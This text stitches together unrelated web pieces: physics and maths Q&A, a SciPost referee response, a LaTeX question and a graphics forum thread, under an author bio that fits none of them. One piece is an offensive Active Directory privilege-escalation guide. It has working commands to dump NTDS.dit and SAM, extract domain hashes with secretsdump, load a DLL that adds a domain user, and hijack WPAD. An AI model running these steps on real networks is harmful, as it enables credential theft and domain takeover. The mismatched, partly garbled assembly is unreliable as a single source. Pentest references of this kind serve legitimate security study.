Harsh Vardhan is Executive in Residence at the Center for Financial Studies (CFS) at the SP Jain Institute of Management and Research. Rajeswari Sengupta is an Assistant Professor of Economics at the Indira Gandhi Institute of Development Research (IGIDR). The authors thank Josh Felman and an anonymous referee for their useful suggestions.


text:
# Verifying a solution to Einstein's vacuum field equations

I need to verify a solution to Einsteins vacuum field equations. I have the solution as follows $$ds^2=a\,dt^2+b\,dr^2+\cdots$$

Is the following the right approach? Einsteins equation reduces to $R_{ab}=0$, which can be expressed in terms of Christoffel symbols which can be defined by the metric.

How does one obtain the metric from the line-element?

Once I have the metric, do I just plug it into $R_{ab}=0$ and check? This seems very tedious, am I on the right track?

If I change the coordinates, and show that this new metric satisfies Einsteins vacuum Equation, would it follow that the original coordiantes and metric does so as well?

• In cursory terms: yes, changing coordinates doesn't matter. You are still describing the same spacetime. Oct 31, 2014 at 10:55

The line element in terms of the metric $g_{\mu\nu}$ is given by,

$$ds^2=g_{\mu\nu}dx^\mu dx^\nu$$

As you haven't provided the entire line element in the post, I can only say $g_{tt} =a$ and $g_{rr}=b$. If it is the case that $a,b$ are constants, as well as any other components of the metric, then trivially $R_{\mu\nu}=R=0$.

Otherwise, you pretty much have to compute the Ricci tensor $R_{ab}$ directly. However, there is a much faster method than using Christoffel symbols which is called the Cartan formalism. I have summarised it in other answers, see:

Very quickly: you choose an orthonormal basis $e^a_\mu$ such that $\eta_{ab}e^a_\mu e^b_\nu = g_{\mu\nu}$, and you can read off connection components $\omega^a_b$ from $de^a + \omega^a_b \wedge e^b = 0$. The curvature 2-form is $R=d\omega^a_b + \omega^a_c \wedge \omega^c_b$.

In addition, I recommend Ruth Gregory's lecture at perimeterscholars.org which provide an introduction to the method, and preliminaries introducing differential forms if you are not familiar with them.

If you are given a metric $g_{\mu\nu}$, and change coordinates, you are still describing the same manifold; general relativity is invariant under diffeomorphisms.

format: plain


text:
# A point charge of magnitude $6 \mu C$ is placed at point M. The distance of point M from a test charge of unit magnitude, placed at point N, is $8 \times 10^{−2}\; m$. What will be the potential of point N if the test charge is replaced by a charge of magnitude $3 \mu C$?

$(C) 6.75 \times 10^5 V$


text:
# Towards a Quantum Fluid Theory of Correlated Many-Fermion Systems from First Principles

### Submission summary

 As Contributors: Attila Cangi · Zhandos Moldabekov Preprint link: scipost_202106_00020v3 Date accepted: 2021-12-16 Date submitted: 2021-11-12 17:49 Submitted by: Cangi, Attila Submitted to: SciPost Physics Academic field: Physics Specialties: Atomic, Molecular and Optical Physics - Theory Condensed Matter Physics - Theory Condensed Matter Physics - Computational Statistical and Soft Matter Physics Approaches: Theoretical, Computational

### Abstract

Correlated many-fermion systems emerge in a broad range of phenomena in warm dense matter, plasmonics, and ultracold atoms. Quantum hydrodynamics (QHD) complements first-principles methods for many-fermion systems at larger scales. We illustrate the failure of the standard Bohm potential central to QHD for strong perturbations when the density perturbation is larger than about $10^{-3}$ of the mean density. We then extend QHD to this regime via the \emph{many-fermion Bohm potential} from first-principles. This may lead to more accurate QHD simulations beyond their common application domain in the presence of strong perturbations at scales unattainable with first-principles methods.

Published as SciPost Phys. 12, 062 (2022)

# Response Letter

System Message: WARNING/2 (<string>, line 2)

Title underline too short.

Response Letter
===========

Dear Editors,

we thank both referees for their constructive review. We have revised the paper by taking into account all comments raised by the referees.

We believe our revised manuscript is now suitable for publication.

Sincerely Attila Cangi

# Response to Referees

System Message: WARNING/2 (<string>, line 15)

Title underline too short.

Response to Referees
===============

# Referee 1

System Message: WARNING/2 (<string>, line 18)

Title underline too short.

Referee 1
=======

# Comment 1

System Message: WARNING/2 (<string>, line 21)

Title underline too short.

Comment  1
========

>The authors addressed all the points that I raised in my previous report improving the manuscript. I think that the paper can be now >published.

We thank the referee for reviewing our manuscript and for recommending publication.

# Referee 2

System Message: WARNING/2 (<string>, line 29)

Title underline too short.

Referee 2
=======

# Comment 1

System Message: WARNING/2 (<string>, line 32)

Title underline too short.

Comment  1
========

>The authors have addressed the majority of my points satisfactorily. However, I believe there are still a small number of issues that >deserve to be addressed more thoroughly before I can recommend the paper for publication.}

We thank the referee for reviewing our manuscript and for providing valuable feedback. We address the individual points below.

# Comment 2

System Message: WARNING/2 (<string>, line 39)

Title underline too short.

Comment 2
========

>The paper convincingly shows that the MFBP produces significantly different forces compared to the SBP. This is well explained e.g. at >the start of Section 3. >However, as suggested in my earlier comment 5, the wording of the manuscript should reflect the fact that the authors “claim” that the >dynamics will significantly differ for the MFBP compared to the SBP, rather than actually showing it (which would require actually >computing and comparing the dynamics in the two cases). >For example, as mentioned in my first report, the wording in the abstract “This enables more accurate QHD simulations beyond its >common application domain in the presence of strong perturbations at scales unattainable with first-principles methods” is rather >strong, given that no dynamics achieving previously unattainable accuracy has actually been shown. >A similar consideration applies to the wording “In conclusion, the many-fermion Bohm potential leads to a substantially different >quantum dynamics” at the end of Section 3.}

We agree with these suggestions and have changed the wording in the revised manuscript.

In the revised manuscript, the sentence in the abstract now reads: “This may lead to more accurate QHD simulations beyond its common application domain in the presence of strong perturbations at scales unattainable with first-principles methods.”

In the revised manuscript, the sentence at the end of Section 3 now reads: “In conclusion, the many-fermion Bohm potential may lead to a substantially different quantum dynamics which will be explored in our future work.”

# Comment 3

System Message: WARNING/2 (<string>, line 60)

Title underline too short.

Comment 3
========

>In the conclusion, I find the sentences “Particularly, the effect of the standard Bohm potential has very recently been assessed in >hydrodynamics simulations (45). These clearly demonstrate the different dynamics obtained and indicate the importance the many- >fermion Bohm potential might have on the dynamics of the shock formation” to be unclear. >Since the new preprint (45) only shows the dynamics computed using the SBP, the authors should explain how this by itself shows that >the dynamics obtained from the two potentials differs. >In their reply to my first report, the authors note they “already discussed the expected effects of the MFBP on the shock propagation in >WDM”. However, their discussion is based on “the presence of higher-order spatial derivatives of the density”. Such higher-order >spatial derivative is already present in the SBP, Eq. (1). So, this by itself does not explain the expected difference.}

We agree that our statement was unclear. In Ref. (45), the significance of quantum diffraction effects in hydrodynamics simulations provided by the common SBP are demonstrated for shock propagation in WDM. As we show in Figure 2, the magnitudes of the SBP and the many-fermion Bohm potential differ significantly. In particular, the use of the many-fermion Bohm potential leads to stronger forces in region of strong density perturbations (Figure 3). We, therefore, argue in the Conclusion of our manuscript that the shock propagation in WDM is further influenced when the many-fermion Bohm potential is used in hydrodynamics simulations.

We have revised our manuscript to clarify this point [see page 7, end of third paragraph]: "As demonstrated in Figures 2 and 3, the many-fermion Bohm potential yields significantly different forces in regions of strong density perturbation than the standard Bohm potential. We therefore expect the many-fermion Bohm potential to further impact the dynamics of shock formation."

# Comment 4

System Message: WARNING/2 (<string>, line 77)

Title underline too short.

Comment 4
========

>In their reply, the authors argue that the manuscript’s results are expected to be general since any perturbation can be expressed as a >linear combination of harmonic perturbations. This is true of the perturbation term of the Hamiltonian. However, the force due to the >Bohm potential does not depend linearly on the Hamiltonian. Thus, it is not immediately clear to me that the finding that forces are >significantly different for harmonically perturbed Hamiltonians implies that this holds for any perturbation. In any case, I think that the >manuscript should explicitly mention any arguments the authors have in favour of the general validity of their results, here shown for a >particular example.

We have softened our language regarding this point. We now explicitly mention that the presented findings are obtained by considering harmonic perturbations [see conclusion, second paragraph]: “Considering a harmonic perturbation in the Hamiltonian defined by Eq.~(7), we showed that the standard Bohm potential...”

# Comment 5

System Message: WARNING/2 (<string>, line 89)

Title underline too short.

Comment 5
========

>As mentioned in my first report (comment 6), the wording of the final part of Section 1 could make it sound like the authors first show in >general that the SBP and MFBP significantly differ, and subsequently turn to a specific example. I would suggest reformulating this for >clarity. For example, saying upfront that they focus on a specific example of physical relevance and then that they “(1) generate an exact >[…]”, or simply changing “We highlight the practical importance of this result by turning our attention to…” to something along the >lines of “Throughout the manuscript, we consider the practically important example of…”.

We take up the referee's suggestion and revise the text passage in question accordingly: "Throughout the manuscript, we consider the practically important example of the harmonically perturbed, interacting electron gas at finite temperature which is a challenging many-fermion system and is a relevant for modeling high-energy density experiments conducted at coherent light sources and pulsed power facilities around the globe."

We believe, this now should clearly communicate that the results presented in our manuscript are based on the harmonically perturbed, interacting electron gas at finite temperature.

### List of changes

Last sentence of abstract:
==================
“This may lead to more accurate QHD simulations beyond its common application domain in the presence of strong perturbations at scales unattainable with first-principles methods.”

Page 2, end of second paragraph:
=======================
"Throughout the manuscript, we consider the practically important example of the harmonically perturbed, interacting electron gas at finite temperature which is a challenging many-fermion system and is a relevant for modeling high-energy density experiments conducted at coherent light sources and pulsed power facilities around the globe."

Page 6, end of Section 3:
===========
“In conclusion, the many-fermion Bohm potential may lead to a substantially different quantum dynamics which will be explored in our future work.”

Page 7, second paragraph:
=====================
“Considering a harmonic perturbation in the Hamiltonian defined by Eq.~(7), we showed that the standard Bohm potential...”

Page 7, end of third paragraph:
=====================
"As demonstrated in Figures 2 and 3, the many-fermion Bohm potential yields significantly different forces in regions of strong density perturbation than the standard Bohm potential. We therefore expect the many-fermion Bohm potential to further impact the dynamics of shock formation."


text:
What is the real answer for this geometric series? [duplicate]

I recently read a book about Data structures, int that book I found this equation under topic, "the average number of probes for an unsuccessful search":

but when I was trying to prove this I found another expression, here is how I tried:

So my proof led me to this equation

So what did I do wrong, I can't find any error above?

Or Am I right?

marked as duplicate by lab bhattacharjee limits StackExchange.ready(function() { if (StackExchange.options.isMobile) return; $('.dupe-hammer-message-hover:not(.hover-bound)').each(function() { var$hover = $(this).addClass('hover-bound'),$msg = $hover.siblings('.dupe-hammer-message');$hover.hover( function() { $hover.showInfoMessage('', { messageElement:$msg.clone().show(), transient: false, position: { my: 'bottom left', at: 'top center', offsetTop: -7 }, dismissable: false, relativeToBody: true }); }, function() { StackExchange.helpers.removeMessages(); } ); }); }); Jan 9 '16 at 14:37

Your answer is right. $\lambda =0$ should give both the right hand side and left side to be zero, which is clearly not the case in the formula given in the text.
Another way to obtain the same answer is as follows. We have \begin{align} \sum_{k=0}^{\infty} \lambda^k = \dfrac1{1-\lambda} \,\,\, \forall \left \vert \lambda \right \vert < 1 \end{align} Differentiating the above we obtain \begin{align} \sum_{k=0}^{\infty} k\lambda^{k-1} = \dfrac1{(1-\lambda)^2} \,\,\, \forall \left \vert \lambda \right \vert < 1 \end{align} Multiplying by $\lambda$, we obtain \begin{align} \sum_{k=0}^{\infty} k\lambda^{k} = \dfrac{\lambda}{(1-\lambda)^2} \,\,\, \forall \left \vert \lambda \right \vert < 1 \end{align}


text:
# Privileged Groups

HackTricks in 🐦 Twitter 🐦 - 🎙 Twitch Wed - 18.30(UTC) 🎙 - 🎥 Youtube 🎥

## Known groups with administration privileges

There are other account memberships and access token privileges that can also be useful during security assessments when chaining multiple attack vectors.

## Account Operators

• Allows creating non administrator accounts and groups on the domain
• Allows logging in to the DC locally
Get members of the group:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Note the spotless' user membership:
However, we can still add new users:
As well as login to DC01 locally:

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all “protected groups” in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins. By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group AdminSDHolder for example giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour). And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group.
Get members of the group:
Check if the user is inside the Domain Admins group:
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} If you don't want to wait an hour you can use a PS script to make the restore happen instantly: https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1 ## AD Recycle Bin This group gives you permission to read deleted AD object. Something juicy information can be found in there: #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq$true' -includeDeletedObjects -Properties *

### Domain Controller Access

Note how we cannot access files on the DC with current membership:
However, if the user belongs to Server Operators:
The story changes:

### Privesc

Use PsService or sc, form Sysinternals, to check permissions on a service.
PsService v2.25 - Service information and configuration utility
Sysinternals - www.sysinternals.com
[...]
[ALLOW] BUILTIN\Server Operators
All
This confirms that the Server Operators group has SERVICE_ALL_ACCESS access right, which gives us full control over this service. You can abuse this service to make the service execute arbitrary commands and escalate privileges.

## Backup Operators

As with Server Operators membership, we can access the DC01 file system if we belong to Backup Operators.
This is because this group grants its members the SeBackup and SeRestore privileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if nothing else is giving you permissions. However, to abuse this permissions to copy a file the flag FILE_FLAG_BACKUP_SEMANTICS **** must be used. Therefore, special tools are needed.
For this purpose you can use these scripts.
Get members of the group:
Get-NetGroupMember -Identity "Backup Operators" -Recurse

### Local Attack

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled
# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege
# List Admin folder for example and steal a file

For instance, you can directly access the Domain Controller file system:
You can abuse this access to steal the active directory database NTDS.dit to get all the NTLM hashes for all user and computer objects in the domain.
Using diskshadow you can create a shadow copy of the C drive and in the F drive for example. The, you can steal the NTDS.dit file from this shadow copy as it won't be in use by the system:
On computer: DC, 10/14/2020 10:34:16 AM
As in the local attack, you can now copy the privileged file NTDS.dit:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Another way to copy files is using robocopy:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
Then, you can easily steal the SYSTEM and SAM:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
Finally you can get all the hashes from the NTDS.dit:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

A user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server. This is really interesting as the Domain Controllers are used very frequently as DNS servers.
As shown in this **** post, the following attack can be performed when DNS is run on a Domain Controller (which is very common):
• DNS management is performed over RPC
• ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line
• When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll registry key is populated
• When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)
• An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.
Get members of the group:

### Execute arbitrary DLL

Then, if you have a user inside the DNSAdmins group, you can make the DNS server load an arbitrary DLL with SYSTEM privileges (DNS service runs as NT AUTHORITY\SYSTEM). You can make the DNS server load a local or remote (shared by SMB) DLL file executing:
An example of a valid DLL can be found in https://github.com/kazkansouh/DNSAdmin-DLL. I would change the code of the function DnsPluginInitialize to something like:
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
}
Or you could generate a dll using msfvenom:
So, when the DNSservice start or restart, a new user will be created.
Even having a user inside DNSAdmin group you by default cannot stop and restart the DNS service. But you can always try doing:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

#### Mimilib.dll

As detailed in this post, It's also possible to use mimilib.dll from the creator of the Mimikatz tool to gain command execution by modifying the kdns.c **** file to execute a reverse shell one-liner or another command of our choosing.

Another way to abuse DnsAdmins group privileges is by creating a WPAD record. Membership in this group gives us the rights to disable global query block security, which by default blocks this attack. Server 2008 first introduced the ability to add to a global query block list on a DNS server. By default, Web Proxy Automatic Discovery Protocol (WPAD) and Intra-site Automatic Tunnel Addressing Protocol (ISATAP) are on the global query block list. These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names.
After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use a tool such as **** Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

Members of the Event Log Readers **** group have permission to access the event logs generated (such as the new process creation logs). In the logs sensitive information could be found. Let's see how to visualize the logs:
#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"
# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"
# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where {$_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={$_.Properties[8].Value }}

## Exchange Windows Permissions

Members are granted the ability to write a DACL to the domain object. An attacker could abuse this to give a user DCSync privileges. If Microsoft Exchange is installed in the AD environment, It is common to find user accounts and even computers as members of this group.
This GitHub repo explains a few techniques to escalate privileges abusing this group permissions.
#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

The Hyper-V Administrators group has full access to all Hyper-V features. If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins. They could easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain.
It is also well documented on this blog, that upon deleting a virtual machine, vmms.exe attempts to restore the original file permissions on the corresponding .vhdx file and does so as NT AUTHORITY\SYSTEM, without impersonating the user. We can delete the .vhdx file and create a native hard link to point this file to a protected SYSTEM file, and you will be given full permissions to.
If the operating system is vulnerable to CVE-2018-0952 or CVE-2019-0841, we can leverage this to gain SYSTEM privileges. Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users.

### Exploitation Example

An example of this is Firefox, which installs the Mozilla Maintenance Service. We can update this exploit (a proof-of-concept for NT hard link) to grant our current user full permissions on the file below:
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

#### Taking Ownership of the File

After running the PowerShell script, we should have full control of this file and can take ownership of it.
C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

#### Starting the Mozilla Maintenance Service

Next, we can replace this file with a malicious maintenanceservice.exe, start the maintenance service, and get command execution as SYSTEM.
C:\htb> sc.exe start MozillaMaintenance
This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links.

## Organization Management

This group is also in environments with Microsoft Exchange installed. members of this group can access the mailboxes of all domain users. This group also has full control of the OU called Microsoft Exchange Security Groups, which contains the group Exchange Windows Permissions **** (follow the link to see how to abuse this group to privesc).
The members of this gorup are granted:
• Log on locally to a Domain Controller and shut it down
• Permissions to manage, create, share, and delete printers connected to a Domain Controller
If the command whoami /priv, doesn't show the SeLoadDriverPrivilege from an unelevated context, you need to bypass UAC.
Get members of the group:
Get-NetGroupMember -Identity "Print Operators" -Recurse

## Remote Desktop Users

Members of this group can access the PCs over RDP. Get members of the group:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

## Remote Management Users

Members of this group can access PCs over WinRM.
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

## Server Operators

This membership allows users to configure Domain Controllers with the following privileges:
• Allow log on locally
• Back up files and directories
• Change the system time
• Change the time zone
• Force shutdown from a remote system
• Restore files and directories
• Shut down the system
• control local services
Get members of the group:
Get-NetGroupMember -Identity "Server Operators" -Recurse

## References

HackTricks in 🐦 Twitter 🐦 - 🎙 Twitch Wed - 18.30(UTC) 🎙 - 🎥 Youtube 🎥


text:
# A5/B5 papersize book with margin notes

I am trying to make a diary that will have a book-like page structure with side notes in A5/B5 paper size. I was able to create the style I want, but it can only be applied using an article documentclass.

The idea is to have a diary.tex in which there is Gonzalo Medina's code for caution side notes from create a framed environment for a margin note as well as Ferahfeza's code for Colored Boxed Diary Entries from Using LaTeX to keep a diary.

The diary.tex that works with a4paper and article is the following

%%%%%%%%%%%%%%~~~~~~~~~~Caution Side Note~~~~~~~~~%%%%%%%%%%%%%%%%%%%%%%%%%%

\usepackage[lmargin=5cm,textwidth=15cm,marginparwidth=4cm]{geometry}

\reversemarginpar

\newsavebox\mybox
\newlength\BoxHt

\newcommand\caution[2][-2.2\baselineskip]{%
\begin{lrbox}{\mybox}
\parbox{\marginparwidth}{#2}
\end{lrbox}%
\settoheight\BoxHt{\usebox\mybox}%
\raisebox{\BoxHt}[0pt][0pt]{\marginnote{%
\begin{mdframed}[
userdefinedwidth=\marginparwidth,
innerleftmargin=3pt,
innerrightmargin=3pt,
linecolor=BrickRed,
frametitle=\colorbox{white}{\space Caution\space},
frametitlefont=\color{BrickRed}\sffamily,
innertopmargin=10pt,
frametitleaboveskip=-\ht\strutbox,
frametitlebelowskip=-\ht\strutbox,
frametitlealignment=\raggedright,
singleextra={\fill[BrickRed] let \p1=(P), \p2=(O)  in
( $(P|-0,0.5*\y2+0.5*\y1) + (0,-4pt)$ ) -- +(4pt,4pt) -- +(0,8pt) -- cycle;}
]\RaggedRight\small#2\end{mdframed}}[#1]}}

%%%%%%%%%%%%%%~~~~~~~~~~Colored Boxed Diary Entries~~~~~~~~~%%%%%%%%%%%%%%%%%%%%%%%%%%

\newlength\sidebar
\newlength\envrule
\newlength\envborder
\setlength\sidebar{1.5mm}
\setlength\envrule{0.4pt}
\setlength\envborder{2mm}

\makeatletter
\long\def\fboxs#1{%
\leavevmode
\setbox\@tempboxa\hbox{%
\color@begingroup
\kern\fboxsep{#1}\kern\fboxsep
\color@endgroup}%
\@frames@x\relax}
\def\frameboxs{%
\@ifnextchar(%)
\@framepicbox{\@ifnextchar[\@frameboxs\fboxs}}
\def\@frameboxs[#1]{%
\@ifnextchar[%]
{\@iframeboxs[#1]}%
{\@iframeboxs[#1][c]}}
\long\def\@iframeboxs[#1][#2]#3{%
\leavevmode
\@begin@tempboxa\hbox{#3}%
\setlength\@tempdima{#1}%
\setbox\@tempboxa\hb@xt@\@tempdima
{\kern\fboxsep\csname bm@#2\endcsname\kern\fboxsep}%
\@frames@x{\kern-\fboxrule}%
\@end@tempboxa}
\def\@frames@x#1{%
\@tempdima\fboxrule
\hbox{%
\lower\@tempdima\hbox{%
\vbox{%
%\hrule\@height\fboxrule
\hbox{%
\vrule\@width\fboxrule
#1%
\vbox{%
\vskip\fboxsep
\box\@tempboxa
\vskip\fboxsep}%
#1%
}%\vrule\@width\fboxrule}%
}%\hrule\@height\fboxrule}%
}%
}%
}
\def\esefcolorbox#1#{\esecolor@fbox{#1}}
\def\esecolor@fbox#1#2#3{%
\color@b@x{\fboxsep\z@\color#1{#2}\fboxs}{\color#1{#3}}}
\makeatother

\definecolor{exampleborder}{HTML}{FE642E}
\definecolor{examplebg}{HTML}{CEF6EC}
\definecolor{statementborder}{rgb}{.9,0,0}
\definecolor{statementbg}{rgb}{1,1,1}

\newenvironment{eseframed}{%
\def\FrameCommand{\fboxrule=\the\sidebar  \fboxsep=\the\envborder%
\esefcolorbox{exampleborder}{examplebg}}%
\MakeFramed{\FrameRestore}}%
{\endMakeFramed}

\newcounter{diary}
\renewcommand{\thediary}{\arabic{diary}}

%%% CODE ENVIRONMENT. PUT TEXT INTO COLORED FRAME %%%
\newenvironment{diary}[2]
{\par\medskip\refstepcounter{diary}%
\hbox{%
\fboxsep=\the\sidebar\hspace{-\envborder}\hspace{-.5\sidebar}%
\colorbox{exampleborder}{%
\hspace{\envborder}\footnotesize\sffamily\bfseries%
\textcolor{white}{{#1}\ {#2}\enspace\hspace{\envborder}}
}
}
\nointerlineskip\vspace{-\topsep}%
\begin{eseframed}\noindent\ignorespaces%
}
{\end{eseframed}\vspace{-\baselineskip}\medskip}

The main.tex file is the following

\documentclass[]{article}
%\usepackage[b5paper,           %paper size
%hmargin=1.0cm, %horizontal margin = 1 cm on each side
%vmargin=1.0cm, %vertical margin = 1 cm top and bottom
%                tmargin=1.2cm, %top margin = 1.2 cm
%                bmargin=0.8cm, %bottom margin = 0.8 cm
%]{geometry}
\usepackage[dvipsnames]{xcolor}
\usepackage{ragged2e}
\usepackage[framemethod=tikz]{mdframed}
\usepackage{marginnote}
\usetikzlibrary{calc}
\usepackage{lipsum}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\usepackage{framed}
\usepackage{datetime}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage{times}

\input{diary}

\begin{document}

\begin{diary}{}{14.07.2013}
\lipsum*[3-4] \caution{\lipsum[2]} \lipsum[3-5]
\end{diary}

\begin{diary}{}{14.07.2013}
\lipsum*[3-4]\caution{\lipsum[2]}\lipsum[3-5]
\end{diary}

\begin{diary}{}{14.07.2013}
\lipsum*[3-4]\caution{\lipsum[2]}\lipsum[3-5]
\end{diary}

\begin{diary}{}{14.07.2013}
\lipsum*[3-4]\caution{\lipsum[2]}\lipsum[3-5]
\end{diary}

\end{document}

I tried to use \documentclass[a5paper]{article} and \documentclass{book} but the oupput is really ugly and messed up.

What can be done to have a nice two-sided diary(like a book) in a5/b5 size?

• Your textwidth is tooo large. Did you run multiple times? Are you still interested in a solution, or can we close this? – Johannes_B Nov 27 '14 at 17:58
• @Johannes_B : Thank you very much for your comment. I run it multiple times, but it doens't work! And yes, I am still looking for a solution! – Thanos Nov 30 '14 at 13:49


text:
### Brimful 2

Which of these infinitely deep vessels will eventually full up?

# Brimful

##### Stage: 5 Challenge Level:
For revolution of a curve $y=f(x)$ about the $x$ axis between $0$ and $a$, the volume of revolution is
$$V=\pi\int^a_0y^2 dx$$
How can we alter this to work out the volume obtained by rotating about the $y$ axis?


text:
• Create Account

## Use 64bit precision (GPU)

Old topic!

Guest, the last post of this topic is over 60 days old and at this point you may not reply in this topic. If you wish to continue this conversation start a new topic.

10 replies to this topic

### #1montify  Members

590
Like
0Likes
Like

Posted 16 April 2014 - 12:35 PM

Hello,

I've bin working on a large Terrain, so now im on the Point that i reach the precision of float.

Im working with DX11 / ShaderModel 5 and this provided doubles on GPU..

My Question is: How i can use double (Matrix, inputPosition) instead of float?

I read something about Render relative to the Eye or so, but the simple solution should use doubles, but how?

### #2spazzarama  GDNet+

1626
Like
1Likes
Like

Posted 16 April 2014 - 04:51 PM

My Question is: How i can use double (Matrix, inputPosition) instead of float?

From MSDN HLSL Scalar Types: http://msdn.microsoft.com/en-us/library/windows/desktop/bb509646(v=vs.85).aspx

• double - 64-bit floating point value. You cannot use double precision values as inputs and outputs for a stream. To pass double precision values between shaders, declare each double as a pair of uint data types. Then, use the asdouble function to pack each double into the pair of uints and the asuint function to unpack the pair of uints back into the double.

So I think you will have to encode the doubles into a pair of uint values to pass them around.

Justin Stenning | Blog | Book - Direct3D Rendering Cookbook (using C# and SharpDX)

Projects: Direct3D Hook, EasyHook, Shared Memory (IPC), SharpDisasm (x86/64 disassembler in C#), Afterglow, C#raft

@spazzarama

### #3DementedCarrot  Members

1142
Like
1Likes
Like

Posted 16 April 2014 - 09:31 PM

If you want to render stuff relative to the eye in float space using doubles, you:

1. Use doubles for your position vectors.

2. Use the double vector for every object position, and for your camera.

Then you have to translate your positions into a float-capable space for rendering. You translate every object position to get the position relative to the eye with:

DoubleVector3 objectPosition = object.somePosition;
DoubleVector3 cameraPosition = camera.position;
DoubleVector3 doubleRelativePosition = objectPosition - cameraPosition;

// When you translate the object by the camera position, the resulting number is representable by a float.
// Just cast the double-vector components down to floats!

FloatVector3 relativePosition;
relativePosition.x = (float)doubleRelativePosition.x;
relativePosition.y = (float)doubleRelativePosition.y;
relativePosition.z = (float)doubleRelativePosition.z;

and then that's the position you pass into the shader for rendering.

This is really cumbersome for a ton of objects because you have to recompute this translation every time you move your camera. There is an extension of this method to keep you from creating relative coordinates every frame. You have to create a relative anchor point that moves with your camera. To do this you have to:

1. Create a double-vector anchor point that moves with your camera periodically. You move this anchor point when float-precision starts to become insufficient to represent points inside the float-anchor-area.
2. You build relative float-vector positions for everything relative to the anchor point, as we did before with the camera but with the anchor point.

3. When you move far enough away from the anchor, you re-locate it.

4. When the anchor moves you re-translate everything relative to the new anchor point. This means everything has a double-vector world position and a float-vector relative anchor position.

5. You use a regular camera view matrix to move around inside this anchor float space.
6. Draw everything normally as if the anchor-relative position is the position, and the anchor relative camera position is the camera location.

I hope this helps!

Edits: Typo-city

Edited by DementedCarrot, 16 April 2014 - 09:47 PM.

### #4Chris_F  Members

3018
Like
0Likes
Like

Posted 16 April 2014 - 10:09 PM

You should probably consider whether or not lack of precision is really the issue you are facing. Modern GPUs may support DP floating point because of SM5, but it is a feature which is almost never used by anyone (for games anyway) so consumer GPUs tend to be really bad at it. Take my GPU for example, a GTX 760 which is probably pretty typical. Switching from SP floats to DP floats is the difference between 2.25 teraflops and 94 gigaflops. That's a huge performance decrease.

### #5montify  Members

590
Like
0Likes
Like

Posted 17 April 2014 - 01:49 AM

Thank you for reply

Ok i should use relative to the eye

So i have one vertexbuffer for each childnode and rootnode.
Only the worldmatrix is changing.

My problem is i use cube2sphere mapping which require that the cubecenter is 0,0,0

With relative to the eye the camera position is at 0,0,0?
So whats my line? When i substract the camera position from the patch position the cube is out of the origin in worldspace

### #6DementedCarrot  Members

1142
Like
0Likes
Like

Posted 17 April 2014 - 09:12 AM

My problem is i use cube2sphere mapping which require that the cubecenter is 0,0,0

Can you be more specific about what cube2sphere mapping is, and what it's used for?

### #7montify  Members

590
Like
0Likes
Like

